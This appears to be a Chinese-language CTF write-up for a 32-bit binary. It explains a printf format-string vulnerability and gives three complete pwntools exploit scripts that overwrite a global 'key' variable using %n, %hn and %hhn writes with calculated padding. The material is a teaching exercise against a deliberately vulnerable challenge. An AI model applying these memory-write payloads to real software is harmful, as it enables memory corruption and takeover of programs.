0x00:查看檔案

一個32位的檔案,canary、NX、PIE保護機制均關閉,
0x01:用IDA進行靜態分析

程式很簡單,輸入一串字符(個數限制:512),然后再輸出,最后根據key變數進行條件陳述句執行,
在imagemagic函式中用printf(format)進行輸出,大概率有格式化字串漏洞,因為key的地址在bss段:0x0804A048,所以試試用格式化字串漏洞進行覆寫,
檢測一下是否可以對隨意地址進行覆寫:

有重復的,位于第12個引數,重復的原因是因為s是定義在了堆疊上,
payload = p32(key_addr) + b'%035795742d' + b'%12$n'
- 將key的地址寫在第一位,相當于也會寫在第12引數上,
- %12$n : 是指對第12的引數寫入前面成功輸出的位元組數,
- %035795742d:前面key_addr已經占了4個位元組,還要在輸出35795746 - 4個位元組,
0x02:完整EXP
from pwn import * context(os='linux', arch='i386', log_level='debug') io = process("./datajk") #io = remote("111.200.241.244",65079) key_addr = 0x0804A048 payload = p32(key_addr) + b'%35795742d' + b'%12$n' io.sendline(payload) io.interactive()
遠程的話大概要幾分鐘輸出,本地的話快一點,這種方法看著就很粗魯,但很簡單,
0x03:使用標志進行改進
上面因為%n是寫入4位元組資料,所以就直接寫整個數,導致要輸出大量資料才可以滿足,但帶格式化字串中有那么兩個標識:
- h :以雙位元組的形式;
- hh:以單位元組的形式;
使用h標志進行改進:
要使key=35795746(0x0222 3322),因為程式為小端序,高位元組存盤在低地址,所以就是要使key_addr處為0x3322,key_addr+2處為0x0222,
from pwn import * context(os='linux', arch='i386', log_level='debug') #io = process("./datajk") io = gdb.debug("./datajk") key_addr = 0x0804A048 #35795746 == 0x02223322 #num1 = 0x222 0x222 == 546 #num2 = 0x3322 0x3322 == 13090; 12544=13090-546 payload = p32(key_addr) + p32(key_addr + 2) payload += b'%0538d' + b'%13$hn' payload += b'%012544d' + b'%12$hn' io.sendline(payload) io.interactive()
注:用%n寫入資料的順序要從寫入數值小的開始,
前面已經輸出了兩個地址,占了8位元組,所以0x222要減去8為538,后面的12544同理,要減去已輸出的量,
使用hh標志進行改進:
將0x02223322拆分成\x02 \x22 \x33 \x22(地址:high -> low),按數值從小到大依次寫入,
這時要靈活的改變‘覆寫地址’的引數位了,可以先看一下wiki中的這個頁面的‘覆寫小數字’:
https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-exploit/#_14
exp里面的a主要用于調引數位(按4調整),由于這里調動比較靈活,同時代碼不唯一,但大概思想不變,所以就不做多解釋了,有問題可以在評論區提出,
from pwn import * context(os='linux', arch='i386', log_level='debug') io = process("./datajk")
key_addr = 0x0804A048 #0x02 22 33 22 (high -> low) #input 0x02 payload = b'aa%15$hhnaaa' + p32(key_addr + 3) #input 0x22(two) payload += p32(key_addr + 2) + p32(key_addr) + b'%017d%16$hhn' + b'%17$hhna' #input 0x33 payload += p32(key_addr + 1) + b'%012d%23$hhn' io.sendline(payload) io.interactive()
0x04:感觸
沒有絕對安全的系統!
tolele
2022-06-16
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/492495.html
標籤:其他
下一篇:Hawkeye部署
